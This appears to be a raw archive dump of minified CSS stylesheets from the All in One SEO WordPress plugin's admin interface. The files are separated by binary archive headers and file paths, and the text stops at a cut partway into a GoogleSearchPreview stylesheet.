.topics-table tfoot td .aioseo-button+.aioseo-button,[dir=ltr] .alumni-of-table tfoot td .aioseo-button+.aioseo-button{margin:0 0 0 16px}[dir=rtl] .redirects-options-table tfoot td .aioseo-button+.aioseo-button,[dir=rtl] .topics-table tfoot td .aioseo-button+.aioseo-button,[dir=rtl] .alumni-of-table tfoot td .aioseo-button+.aioseo-button{margin:0 16px 0 0}.redirects-options-table.small tr td,.topics-table.small tr td,.alumni-of-table.small tr td{padding:8px!important}.redirects-options-table.small thead td,.topics-table.small thead td,.alumni-of-table.small thead td{height:38px;padding:0 8px!important}.redirects-options-table svg,.topics-table svg,.alumni-of-table svg{color:#dadada}.redirects-options-table svg.aioseo-trash,.topics-table svg.aioseo-trash,.alumni-of-table svg.aioseo-trash{width:20px;height:20px;cursor:pointer}.redirects-options-table svg.aioseo-trash:hover,.topics-table svg.aioseo-trash:hover,.alumni-of-table svg.aioseo-trash:hover{color:#df2a4a}.redirects-options-table svg.aioseo-right-arrow,.topics-table svg.aioseo-right-arrow,.alumni-of-table svg.aioseo-right-arrow{width:26px;color:#8c8f9a}.redirects-options-table .aioseo-tooltip,.topics-table .aioseo-tooltip,.alumni-of-table .aioseo-tooltip{display:flex}[dir=ltr] .redirects-options-table .aioseo-tooltip,[dir=ltr] .topics-table .aioseo-tooltip,[dir=ltr] .alumni-of-table .aioseo-tooltip{margin-left:0}[dir=rtl] .redirects-options-table .aioseo-tooltip,[dir=rtl] .topics-table .aioseo-tooltip,[dir=rtl] .alumni-of-table .aioseo-tooltip{margin-right:0}.topics-table thead tr .tooltip-wrapper{display:flex;align-items:center;gap:5px}.topics-table thead tr .tooltip-wrapper div{display:flex}.topics-table thead tr .tooltip-wrapper div svg{cursor:pointer}.topics-table .append-icon svg{cursor:pointer}.topics-table .append-icon svg:hover{color:#8c8f9a}.topics-table .same-as-urls{max-width:300px;min-width:300px}.topics-table svg.aioseo-circle-plus{width:14px;height:14px}[dir=ltr] .topics-table svg.aioseo-circle-plus{margin-right:8px}[dir=rtl] .topics-table svg.aioseo-circle-plus{margin-left:8px}.aioseo-app .author-seo-cta{position:relative} PKÉ—[”­zzBall-in-one-seo-pack/dist/Lite/assets/css/ExcludePosts.DCpMRmov.cssnu„[µü¤.aioseo-exclude-posts{display:flex}.aioseo-exclude-posts .aioseo-select{max-width:600px;display:inline-block}[dir=ltr] .aioseo-exclude-posts .aioseo-select{margin-right:16px}[dir=rtl] .aioseo-exclude-posts .aioseo-select{margin-left:16px}.aioseo-exclude-posts .aioseo-select .multiselect__option{display:flex}.aioseo-exclude-posts .aioseo-select .multiselect__option--highlight .option-title{color:#005ae0}.aioseo-exclude-posts .option{flex:1 0 auto}.aioseo-exclude-posts .option .option-title{font-weight:500;font-size:16px;color:#141b38}.aioseo-exclude-posts .option .option-title .search-term{font-weight:700}.aioseo-exclude-posts .option .option-details{display:flex;align-items:center;font-size:14px;color:#8c8f9a}[dir=ltr] .aioseo-exclude-posts .option .option-details span{margin-right:15px}[dir=rtl] .aioseo-exclude-posts .option .option-details span{margin-left:15px}.aioseo-exclude-posts .option-permalink{display:flex;align-items:center}.aioseo-exclude-posts .option-permalink svg.aioseo-external{width:15px;height:15px;color:#434960}.aioseo-exclude-posts .multiselect-toggle{padding:10px 13px;width:40px;position:absolute;height:36px;top:2px;text-align:center;z-index:1}[dir=ltr] .aioseo-exclude-posts .multiselect-toggle{right:2px}[dir=rtl] .aioseo-exclude-posts .multiselect-toggle{left:2px}.aioseo-exclude-posts .multiselect-toggle svg.aioseo-add-plus{width:14px;height:14px;color:#000} PKÉ—[M,ÊøøEall-in-one-seo-pack/dist/Lite/assets/css/FacebookPreview.C_ZF3sGA.cssnu„[µü¤.aioseo-facebook-preview[data-v-d177735a]{--primary-text: #050505;--secondary-text: #65676B;background-color:#f0f2f5;padding:20px;display:flex;align-items:center;justify-content:center}.aioseo-facebook-preview .facebook-post[data-v-d177735a]{background-color:#fff;border-radius:8px;border:1px solid #E8E8EB;max-width:525px;width:100%}.aioseo-facebook-preview .facebook-post .facebook-header[data-v-d177735a]{height:65px;padding:0 12px;display:flex;align-items:center}.aioseo-facebook-preview .facebook-post .facebook-header .profile-photo[data-v-d177735a]{overflow:hidden;width:40px;height:40px;border:1px solid #E8E8EB;border-radius:50%}.aioseo-facebook-preview .facebook-post .facebook-header .profile-photo svg[data-v-d177735a]{height:100%;width:100%}.aioseo-facebook-preview .facebook-post .facebook-header .poster[data-v-d177735a]{flex:1 0 auto}[dir=ltr] .aioseo-facebook-preview .facebook-post .facebook-header .poster[data-v-d177735a]{margin-left:10px}[dir=rtl] .aioseo-facebook-preview .facebook-post .facebook-header .poster[data-v-d177735a]{margin-right:10px}.aioseo-facebook-preview .facebook-post .facebook-header .poster .poster-name[data-v-d177735a]{font-size:15px;color:var(--primary-text);font-weight:500}.aioseo-facebook-preview .facebook-post .facebook-header .poster .poster-date[data-v-d177735a]{color:var(--secondary-text);font-size:13px}.aioseo-facebook-preview .facebook-post .facebook-header .ellipsis[data-v-d177735a]{display:inline-flex;gap:4px}.aioseo-facebook-preview .facebook-post .facebook-header .ellipsis div[data-v-d177735a]{background-color:#5e666f;width:4px;height:4px;border-radius:50%}.aioseo-facebook-preview .facebook-post .facebook-content[data-v-d177735a]{align-items:center;background-color:#f0f2f5;display:flex;flex-direction:row}.aioseo-facebook-preview .facebook-post .facebook-content .facebook-content__image[data-v-d177735a]{flex:0 1 139px;max-height:210px;min-width:139px;object-fit:cover;width:100%}.aioseo-facebook-preview .facebook-post .facebook-content .loader[data-v-d177735a]{max-width:158px;width:100%;align-self:stretch;background-color:#f2f3f5;position:relative}.aioseo-facebook-preview .facebook-post .facebook-content .loader[data-v-d177735a] .aioseo-loading-spinner{top:0;bottom:0;left:0;right:0;margin:auto}.aioseo-facebook-preview .facebook-post .facebook-content.vertical[data-v-d177735a]{display:block}.aioseo-facebook-preview .facebook-post .facebook-content.vertical .facebook-content__image[data-v-d177735a]{max-height:260px}.aioseo-facebook-preview .facebook-post .facebook-content.vertical .loader[data-v-d177735a]{max-width:100%;height:100px}.aioseo-facebook-preview .facebook-post .facebook-content .facebook-site-description[data-v-d177735a]{display:flex;flex-direction:column;flex:1 1 auto;gap:2px;justify-content:center;padding:10px 12px}.aioseo-facebook-preview .facebook-post .facebook-content .facebook-site-description .site-domain[data-v-d177735a],.aioseo-facebook-preview .facebook-post .facebook-content .facebook-site-description .site-title[data-v-d177735a],.aioseo-facebook-preview .facebook-post .facebook-content .facebook-site-description .site-description[data-v-d177735a]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif;font-style:normal;line-height:1.4;letter-spacing:normal;margin:0;padding:0;text-transform:none;overflow-wrap:break-word;word-break:break-word}.aioseo-facebook-preview .facebook-post .facebook-content .facebook-site-description .site-domain[data-v-d177735a]{color:var(--secondary-text);font-size:13px;font-weight:400;overflow:hidden;text-overflow:ellipsis;text-transform:uppercase;white-space:nowrap}.aioseo-facebook-preview .facebook-post .facebook-content .facebook-site-description .site-title[data-v-d177735a]{color:var(--primary-text);font-size:17px;font-weight:600}.aioseo-facebook-preview .facebook-post .facebook-content .facebook-site-description .site-description[data-v-d177735a]{color:var(--secondary-text);font-size:14px;font-weight:400}.aioseo-facebook-preview .facebook-post .facebook-footer[data-v-d177735a]{height:24px} PKÉ—[³¥§#åå>all-in-one-seo-pack/dist/Lite/assets/css/Facebook.QTRRpC4S.cssnu„[µü¤.aioseo-facebook .inline-upsell{display:inline-flex;margin-top:12px}.aioseo-facebook .facebook-image img{margin-top:20px;width:auto;max-width:525px;max-height:525px;height:auto}.aioseo-facebook .facebook-image.vertical img{max-width:158px;max-height:158px}.aioseo-facebook .how-to{display:flex;align-items:center;gap:8px;margin-top:16px;font-size:12px;line-height:18px}.aioseo-facebook .how-to svg.aioseo-book{width:16px;height:16px;vertical-align:middle}.aioseo-facebook .facebook-default-image-source .aioseo-select{max-width:445px}.aioseo-facebook .facebook-object-types{max-width:445px;display:flex;flex-direction:column;align-items:flex-start}.aioseo-facebook .facebook-object-types+.facebook-object-types{margin-top:12px}.aioseo-facebook .facebook-object-types .aioseo-table-column{width:100%;padding:0}.aioseo-facebook .facebook-object-types .aioseo-table-column:first-child{font-weight:600;margin-bottom:4px}.aioseo-facebook .facebook-home-page-object-type .aioseo-select{max-width:300px} PKÉ—[ŠÝÛ 2 2 Dall-in-one-seo-pack/dist/Lite/assets/css/FeatureManager.BGxCiogy.cssnu„[µü¤.aioseo-feature-manager .aioseo-alert{margin-bottom:var(--aioseo-gutter)}.aioseo-feature-manager .aioseo-alert.install-failed{margin-top:var(--aioseo-gutter);margin-bottom:0}.aioseo-feature-manager .aioseo-alert .buttons{margin-top:8px}[dir=ltr] .aioseo-feature-manager .aioseo-alert .buttons .aioseo-button+.aioseo-button{margin-left:12px}[dir=rtl] .aioseo-feature-manager .aioseo-alert .buttons .aioseo-button+.aioseo-button{margin-right:12px}.aioseo-feature-manager .aioseo-feature-manager-header{border-bottom:2px solid #E8E8EB;margin:0 0 var(--aioseo-gutter);display:flex;align-items:center}.aioseo-feature-manager .aioseo-feature-manager-header .buttons{flex:1 0}.aioseo-feature-manager .aioseo-feature-manager-header .buttons .aioseo-button{margin-bottom:10px}[dir=ltr] .aioseo-feature-manager .aioseo-feature-manager-header .buttons .aioseo-button{margin-right:16px}[dir=rtl] .aioseo-feature-manager .aioseo-feature-manager-header .buttons .aioseo-button{margin-left:16px}.aioseo-feature-manager .aioseo-feature-manager-header .aioseo-input{max-width:325px;margin-bottom:10px}.aioseo-feature-manager .aioseo-feature-manager-addons>.aioseo-row{--total-gap-width: calc(2 * var(--aioseo-gutter));--aioseo-col-max-width: calc((100% - var(--total-gap-width)) / 3);display:grid;gap:var(--aioseo-gutter);grid-template-columns:repeat(auto-fill,minmax(max(290px,var(--aioseo-col-max-width)),1fr))}.aioseo-feature-manager .aioseo-feature-manager-addons>.aioseo-row>*{max-width:none}.aioseo-feature-manager .aioseo-feature-manager-addons>.aioseo-row .aioseo-col{max-width:none}.aioseo-feature-manager .feature-manager-upsell{margin-top:var(--aioseo-gutter)}.aioseo-feature-manager-modal .aioseo-modal-body{padding:20px 40px 40px;display:flex;align-items:center;justify-content:center;flex-direction:column;position:relative}.aioseo-feature-manager-modal .aioseo-modal-body h3{font-size:18px;margin-bottom:16px}.aioseo-feature-manager-modal .aioseo-modal-body .reset-description{font-size:14px;color:#141b38;margin-bottom:16px;text-align:center;max-width:515px}.aioseo-feature-manager-modal .aioseo-modal-body button.close{position:absolute;top:11px;width:24px;height:24px;background-color:#fff;border:none;display:flex;align-items:center}[dir=ltr] .aioseo-feature-manager-modal .aioseo-modal-body button.close{right:11px}[dir=rtl] .aioseo-feature-manager-modal .aioseo-modal-body button.close{left:11px}.aioseo-feature-manager-modal .aioseo-modal-body button.close svg.aioseo-close{cursor:pointer;width:14px;height:14px}.aioseo-feature-manager-modal .aioseo-modal-body .aioseo-button:not(.close){margin-top:16px} PKÉ—[éžÜe>all-in-one-seo-pack/dist/Lite/assets/css/Features.CkdIX41m.cssnu„[µü¤.aioseo-wizard-features .feature-grid{border-bottom:1px solid #E8E8EB;padding-bottom:16px;margin-bottom:16px}.aioseo-wizard-features .feature-grid:last-child{border-bottom:none;padding-bottom:0;margin-bottom:0}.aioseo-wizard-features .feature-grid .settings-name{color:#141b38}.aioseo-wizard-features .feature-grid .settings-name .name{display:flex;align-items:center;font-weight:600}[dir=ltr] .aioseo-wizard-features .feature-grid .settings-name .name .aioseo-pro-badge{margin-left:12px}[dir=rtl] .aioseo-wizard-features .feature-grid .settings-name .name .aioseo-pro-badge{margin-right:12px}.aioseo-wizard-features .feature-grid .settings-name .name+.aioseo-description-text{margin-top:8px}.aioseo-wizard-features .feature-grid .settings-name .aioseo-description-text{max-width:650px;color:#434960}.aioseo-wizard-features .feature-grid .settings-name .aioseo-installs-text{font-style:italic;margin-top:5px;font-size:12px;color:#434960}.aioseo-wizard-features .plugins{font-style:italic;max-width:650px;margin:16px auto 0;font-size:12px;text-align:center;color:#8c8f9a;line-height:1.5}.aioseo-wizard-features .go-back a{color:#434960;font-size:14px} PKÉ—[½( ( Aall-in-one-seo-pack/dist/Lite/assets/css/flyout-menu.cadIa8DK.cssnu„[µü¤.aioseo-flyout-menu{position:fixed;z-index:1000;bottom:40px}[dir=ltr] .aioseo-flyout-menu{right:20px}[dir=rtl] .aioseo-flyout-menu{left:20px}.aioseo-flyout-menu-label{font-weight:600;font-size:12px;line-height:15px;color:#141b38;background:#fff;border:1px solid #DCDDE1;box-sizing:border-box;border-radius:80px;transition:all .05s ease}[dir=ltr] .aioseo-flyout-menu-label{box-shadow:.5px .5px 10px #8c8f9a}[dir=rtl] .aioseo-flyout-menu-label{box-shadow:-.5px .5px 10px #8c8f9a}.aioseo-flyout-menu-button{display:flex;align-items:center;justify-content:flex-end;cursor:pointer}.aioseo-flyout-menu-button>span{position:relative;z-index:0;padding:8px 16px;transition:all .2s ease;opacity:0;transform:scale(.5)}[dir=ltr] .aioseo-flyout-menu-button>span{margin-right:-100px}[dir=rtl] .aioseo-flyout-menu-button>span{margin-left:-100px}.aioseo-flyout-menu-button svg{position:relative;z-index:1;background:#fff;border:2px solid #004F9D;box-sizing:border-box;border-radius:70px}[dir=ltr] .aioseo-flyout-menu-button svg{box-shadow:.5px .5px 10px #8c8f9a}[dir=rtl] .aioseo-flyout-menu-button svg{box-shadow:-.5px .5px 10px #8c8f9a}.aioseo-flyout-menu-button:hover>span{opacity:1;transform:scale(1)}[dir=ltr] .aioseo-flyout-menu-button:hover>span{margin-right:12px}[dir=rtl] .aioseo-flyout-menu-button:hover>span{margin-left:12px}.aioseo-flyout-menu-items{display:none}.aioseo-flyout-menu-items a{display:flex;align-items:center;justify-content:flex-end;margin-bottom:12px;text-decoration:none;transition:all .2s ease;opacity:0}[dir=ltr] .aioseo-flyout-menu-items a{transform:translate(100%)}[dir=rtl] .aioseo-flyout-menu-items a{transform:translate(-100%)}.aioseo-flyout-menu-items a span{flex-shrink:0;padding:8px 16px}.aioseo-flyout-menu-items a .icon{width:40px;height:40px;display:flex;justify-content:center;align-items:center}[dir=ltr] .aioseo-flyout-menu-items a .icon{margin-left:8px}[dir=rtl] .aioseo-flyout-menu-items a .icon{margin-right:8px}.aioseo-flyout-menu-items a .icon svg{max-width:60%;max-height:60%;transition:all .2s ease}@supports (-webkit-appearance: none){.aioseo-flyout-menu-items a .icon svg{min-height:20px;min-width:20px}}.aioseo-flyout-menu-items a .icon svg path,.aioseo-flyout-menu-items a .icon svg g{will-change:transform,opacity;transition-property:transform,opacity;transition-duration:.5s;transition-timing-function:ease}.aioseo-flyout-menu-items a:hover .aioseo-flyout-menu-label{border-color:#004f9d;color:#004f9d}[dir=ltr] .aioseo-flyout-menu-items a:hover .aioseo-flyout-menu-label{box-shadow:.5px .5px 10px #8c8f9a,inset 0 0 0 1px #004f9d}[dir=rtl] .aioseo-flyout-menu-items a:hover .aioseo-flyout-menu-label{box-shadow:-.5px .5px 10px #8c8f9a,inset 0 0 0 1px #004f9d}.aioseo-flyout-menu-items a:hover .icon svg{max-width:70%;max-height:70%}.aioseo-flyout-menu.is-open .aioseo-flyout-menu-items{display:block}.aioseo-flyout-menu.is-open .aioseo-flyout-menu-items a{opacity:1;transform:translate(0)}.aioseo-flyout-menu.is-open .aioseo-flyout-menu-items,.aioseo-flyout-menu.will-open .aioseo-flyout-menu-items{margin-bottom:20px;display:block}[dir=ltr] .aioseo-flyout-menu.is-open .aioseo-flyout-menu-items,[dir=ltr] .aioseo-flyout-menu.will-open .aioseo-flyout-menu-items{margin-right:8px}[dir=rtl] .aioseo-flyout-menu.is-open .aioseo-flyout-menu-items,[dir=rtl] .aioseo-flyout-menu.will-open .aioseo-flyout-menu-items{margin-left:8px} PKÉ—[-]µ¨¨Ball-in-one-seo-pack/dist/Lite/assets/css/footer-links.BPjXf0Fx.cssnu„[µü¤#wpbody-content{padding-bottom:173px}.aioseo-footer{display:flex;flex-direction:column;align-items:center;padding:20px 0 30px}.aioseo-footer div{margin-top:12px;color:#787c82}.aioseo-footer div:first-of-type{font-weight:600}.aioseo-footer div:last-of-type{display:flex;gap:12px}.aioseo-footer div a{color:#005ae0}.aioseo-footer div a:hover{text-decoration:none}.aioseo-footer div span{padding:0 6px}.aioseo-footer div svg{color:#a7aaad}.aioseo-footer div svg.aioseo-facebook,.aioseo-footer div svg.aioseo-linkedin{width:16px;height:16px}.aioseo-footer div svg.aioseo-twitter,.aioseo-footer div svg.aioseo-youtube{width:17px;height:16px}.aioseo-footer div svg:hover{color:#005ae0} PKÉ—[öún{{Eall-in-one-seo-pack/dist/Lite/assets/css/GeneralSettings.DUkwyw5z.cssnu„[µü¤.aioseo-settings-network-sites-activation .aioseo-wp-table .manage-column.activated{text-align:center}.aioseo-settings-network-sites-activation .aioseo-wp-table .row-actions .deactivate{color:#df2a4a}.aioseo-settings-network-sites-activation svg.aioseo-circle-check-solid{width:20px;height:20px;color:#00aa63}.aioseo-settings-network-sites-activation svg.aioseo-circle-close-solid{width:20px;height:20px;color:#df2a4a}.aioseo-general-settings .license-cta-box{font-size:14px;line-height:22px;border-radius:3px;background-color:#f2f7fd;padding:16px;max-width:620px;margin:12px 0}.aioseo-general-settings .license-cta-box a{color:#00aa63}.aioseo-general-settings .license-cta-box div{font-weight:600}.aioseo-general-settings .license-cta-box span{font-size:14px;font-style:italic}.aioseo-general-settings .license-key{margin-top:12px;display:flex;max-width:620px}[dir=ltr] .aioseo-general-settings .license-key .aioseo-input-container{margin-right:8px}[dir=rtl] .aioseo-general-settings .license-key .aioseo-input-container{margin-left:8px}.aioseo-general-settings .wizard-actions .aioseo-button{text-align:center}.aioseo-general-settings .more-tooltip-text strong{color:#00aa63}.aioseo-general-settings svg.aioseo-setup-wizard{width:12px;height:12px}[dir=ltr] .aioseo-general-settings svg.aioseo-setup-wizard{margin-right:10px}[dir=rtl] .aioseo-general-settings svg.aioseo-setup-wizard{margin-left:10px} PKÉ—[ê˜xJÍÍDall-in-one-seo-pack/dist/Lite/assets/css/GeneralSitemap.DHOFFsTO.cssnu„[µü¤.aioseo-priority-score{max-width:350px}.aioseo-priority-score .header-row{font-size:14px}.aioseo-general-sitemap .aioseo-links-per-site{max-width:110px}.aioseo-general-sitemap .aioseo-sitemap-preview{display:flex;align-items:center;margin-bottom:10px}[dir=ltr] .aioseo-general-sitemap .aioseo-sitemap-preview{margin-right:10px}[dir=rtl] .aioseo-general-sitemap .aioseo-sitemap-preview{margin-left:10px}.aioseo-general-sitemap .aioseo-sitemap-preview .aioseo-select{max-width:180px}[dir=ltr] .aioseo-general-sitemap .aioseo-sitemap-preview .aioseo-select{margin-right:16px}[dir=rtl] .aioseo-general-sitemap .aioseo-sitemap-preview .aioseo-select{margin-left:16px}.aioseo-general-sitemap .aioseo-sitemap-preview svg.aioseo-external{width:14px;height:14px}[dir=ltr] .aioseo-general-sitemap .aioseo-sitemap-preview svg.aioseo-external{margin-right:10px}[dir=rtl] .aioseo-general-sitemap .aioseo-sitemap-preview svg.aioseo-external{margin-left:10px}[dir=ltr] .aioseo-general-sitemap .ping>div:first-child{margin-right:40px}[dir=rtl] .aioseo-general-sitemap .ping>div:first-child{margin-left:40px}.aioseo-general-sitemap .aioseo-priority-score{max-width:500px}.aioseo-general-sitemap .aioseo-priority-score .header-row{font-size:14px} PKÉ—[qéŽ]õõDall-in-one-seo-pack/dist/Lite/assets/css/GettingStarted.CetFtkMO.cssnu„[µü¤.aioseo-setup-wizard-container{margin-block:var(--aioseo-gutter);padding:calc(var(--aioseo-gutter) * 2);color:#fff;position:relative;background-color:#005ae0}.aioseo-setup-wizard-container p{color:#fff}.aioseo-setup-wizard-container .getting-started-wrapper{position:relative;display:flex;justify-content:space-between;align-items:center;gap:20px}.aioseo-setup-wizard-container .getting-started-wrapper .text{max-width:534px}.aioseo-setup-wizard-container .getting-started-wrapper .video{flex:0 0 533px}.aioseo-setup-wizard-container .getting-started-wrapper .video .wrapper{padding-bottom:56.25%;margin-bottom:0;position:relative;height:0}.aioseo-setup-wizard-container .getting-started-wrapper .video .wrapper iframe{width:100%;height:100%;position:absolute;top:0}[dir=ltr] .aioseo-setup-wizard-container .getting-started-wrapper .video .wrapper iframe{left:0}[dir=rtl] .aioseo-setup-wizard-container .getting-started-wrapper .video .wrapper iframe{right:0}@media only screen and (max-width: 1350px){.aioseo-setup-wizard-container .getting-started-wrapper .video{flex:0 0 593px;margin:20px;align-self:center}.aioseo-setup-wizard-container .getting-started-wrapper .video .wrapper{margin-bottom:0}.aioseo-setup-wizard-container .getting-started-wrapper .wizard-actions .aioseo-col{flex-basis:100%;max-width:100%;justify-content:center}}@media only screen and (max-width: 1300px){.aioseo-setup-wizard-container .getting-started-wrapper{flex-direction:row;flex-wrap:wrap}.aioseo-setup-wizard-container .getting-started-wrapper .video{margin:0}.aioseo-setup-wizard-container .getting-started-wrapper .video,.aioseo-setup-wizard-container .getting-started-wrapper .text{flex-basis:100%;width:100%}.aioseo-setup-wizard-container .getting-started-wrapper .wizard-actions{justify-content:center}.aioseo-setup-wizard-container .getting-started-wrapper .wizard-actions .aioseo-col{flex-basis:inherit;max-width:inherit;justify-content:center}}@media only screen and (max-width: 782px){.aioseo-setup-wizard-container .getting-started-wrapper .wizard-actions .aioseo-col{flex-basis:100%;max-width:100%;justify-content:center}}.aioseo-setup-wizard-container .aioseo-row{position:relative;z-index:1}.aioseo-setup-wizard-container .wizard-actions .aioseo-col{display:flex;align-items:center}.aioseo-setup-wizard-container .wizard-actions .aioseo-col:first-child{flex-basis:auto}.aioseo-setup-wizard-container .wizard-actions .aioseo-button{height:40px;font-size:14px;padding:0 16px}.aioseo-setup-wizard-container .wizard-actions .aioseo-button svg{width:14px;height:14px}[dir=ltr] .aioseo-setup-wizard-container .wizard-actions .aioseo-button svg{margin-right:10px}[dir=rtl] .aioseo-setup-wizard-container .wizard-actions .aioseo-button svg{margin-left:10px}.aioseo-setup-wizard-container .setup-wizard-bg{width:100%;height:100%;overflow:hidden;z-index:0;position:absolute;top:0}[dir=ltr] .aioseo-setup-wizard-container .setup-wizard-bg{left:0}[dir=rtl] .aioseo-setup-wizard-container .setup-wizard-bg{right:0}.aioseo-setup-wizard-container .setup-wizard-bg svg.aioseo-setup-wizard-bg{width:auto;height:100%}.aioseo-setup-wizard-container .setup-wizard-bg svg.aioseo-setup-wizard-bg rect{width:auto;height:100%}.aioseo-setup-wizard-container .close-wizard{color:#fff;width:20px;height:20px;position:absolute;top:20px;z-index:1;display:flex;align-items:center;justify-content:center}[dir=ltr] .aioseo-setup-wizard-container .close-wizard{right:20px}[dir=rtl] .aioseo-setup-wizard-container .close-wizard{left:20px}.aioseo-setup-wizard-container .close-wizard:hover{color:#ccc}.aioseo-setup-wizard-container .close-wizard svg.aioseo-close{width:12px;height:12px;cursor:pointer;color:#fff}.aioseo-setup-wizard-container .close-wizard svg.aioseo-close:hover{color:#dadada}.aioseo-setup-wizard-container p.how-to-get-started{font-size:16px;line-height:24px;margin:0}.aioseo-setup-wizard-container p.welcome-text{font-size:14px;line-height:24px;margin:0 0 32px}.aioseo-setup-wizard-container h2{color:#fff;font-size:28px;line-height:40px;margin-bottom:16px}.aioseo-setup-wizard-container a{color:#fff}.aioseo-setup-wizard-container svg.aioseo-book{width:16px;height:16px}[dir=ltr] .aioseo-setup-wizard-container svg.aioseo-book{margin:0 8px 0 0}[dir=rtl] .aioseo-setup-wizard-container svg.aioseo-book{margin:0 0 0 8px}.aioseo-setup-wizard-container .getting-started-video{margin-bottom:-60px;position:relative;height:0;padding-bottom:56.25%}[dir=ltr] .aioseo-setup-wizard-container .getting-started-video{padding-right:20px}[dir=rtl] .aioseo-setup-wizard-container .getting-started-video{padding-left:20px}.aioseo-setup-wizard-container .getting-started-video iframe{width:100%;height:100%;position:absolute;top:0}[dir=ltr] .aioseo-setup-wizard-container .getting-started-video iframe{left:0}[dir=rtl] .aioseo-setup-wizard-container .getting-started-video iframe{right:0} PKÉ—[úo11Dall-in-one-seo-pack/dist/Lite/assets/css/GettingStarted.IQ5qEUiS.cssnu„[µü¤.aioseo-app .aioseo-getting-started .aioseo-getting-started-cta{margin-block:var(--aioseo-gutter)}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos,.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation{margin-top:var(--aioseo-gutter);background:#fff;width:100%;padding:40px;box-shadow:0 2px 5px #0000000d;border:1px solid #E8E8EB;color:#141b38}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos a,.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation a{text-decoration:none}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .header,.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .header{align-items:center;font-weight:700}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .header .header-title,.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .header .header-title{font-size:28px;line-height:40px}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .header .header-link,.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .header .header-link{display:flex;justify-content:flex-end}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .header .header-link a,.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .header .header-link a{text-decoration:underline;color:#005ae0}@media screen and (max-width: 782px){.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .header .header-link,.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .header .header-link{justify-content:start!important}}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos,.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .docs,.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .videos,.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .docs{margin:var(--aioseo-gutter) 0;font-weight:700;font-size:14px;line-height:22px;color:#141b38}[dir=ltr] .aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos div{padding:5px 16px 5px 0}[dir=rtl] .aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos div{padding:5px 0 5px 16px}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos .video{display:flex;align-items:center;padding:16px;background-color:#f9f9fa;color:#141b38}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos .video img{flex:1 1 auto;max-width:180px;max-height:100px}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos .video div{flex:2 2 auto}[dir=ltr] .aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos .video div{margin:0 0 0 var(--aioseo-gutter)}[dir=rtl] .aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos .video div{margin:0 var(--aioseo-gutter) 0 0}@media screen and (max-width: 520px){.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos .video{flex-direction:column}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos .video img{margin:0 0 10px;max-width:100%}.aioseo-app .aioseo-getting-started .aioseo-getting-started-videos .videos .video div{margin:0;text-align:center}}.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .docs .d-flex{align-items:flex-start}.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .docs .doc svg{width:16px;height:16px;color:#005ae0}[dir=ltr] .aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .docs .doc svg{margin:1px 8px 0 0}[dir=rtl] .aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .docs .doc svg{margin:1px 0 0 8px}.aioseo-app .aioseo-getting-started .aioseo-getting-started-documentation .docs .doc a{color:#141b38} PKÉ—[ÝÞgnããDall-in-one-seo-pack/dist/Lite/assets/css/GlobalSettings.CUp8muVO.cssnu„[µü¤.aioseo-search-appearance-global .schema-graph-name,.aioseo-search-appearance-global .schema-graph-contact-type-manual{margin-bottom:16px}.aioseo-search-appearance-global .schema-graph-name .aioseo-input,.aioseo-search-appearance-global .schema-graph-contact-type-manual .aioseo-input{max-width:600px}.aioseo-search-appearance-global .schema-graph-contact-type{margin-bottom:16px}.aioseo-search-appearance-global .schema-graph-contact-type .aioseo-select{max-width:300px}.aioseo-search-appearance-global .schema-graph-image{margin-bottom:16px}.aioseo-search-appearance-global .person-chooser{max-width:600px}.aioseo-search-appearance-global .person-chooser .person-label{display:flex;align-items:center}.aioseo-search-appearance-global .person-chooser .person-label .person-avatar{height:30px}[dir=ltr] .aioseo-search-appearance-global .person-chooser .person-label .person-avatar{margin-right:16px}[dir=rtl] .aioseo-search-appearance-global .person-chooser .person-label .person-avatar{margin-left:16px}.aioseo-search-appearance-global .person-chooser .person-label .person-avatar img{height:30px;width:30px;border-radius:50%}.aioseo-search-appearance-global .aioseo-settings-row.local-seo{display:flex;align-items:center;background:#f9f9fa}.aioseo-search-appearance-global .aioseo-settings-row.local-seo .local-seo-text{line-height:1.4;font-size:16px;color:#141b38;max-width:550px}.aioseo-search-appearance-global .aioseo-settings-row.local-seo .local-seo-text .aioseo-button{margin-top:10px}.aioseo-search-appearance-global .aioseo-settings-row.local-seo svg.aioseo-local-seo{width:139px;height:106px}[dir=ltr] .aioseo-search-appearance-global .aioseo-settings-row.local-seo svg.aioseo-local-seo{margin-right:60px}[dir=rtl] .aioseo-search-appearance-global .aioseo-settings-row.local-seo svg.aioseo-local-seo{margin-left:60px}.aioseo-search-appearance-global .aioseo-settings-row.local-seo:last-child{padding:30px}.aioseo-search-appearance-global .aioseo-google-search-preview{border:1px solid #E8E8EB;padding:16px} PKÉ—[­yâÜÜIall-in-one-seo-pack/dist/Lite/assets/css/GoogleSearchPreview.DD7_nIU9.cssnu„[µü¤@charset 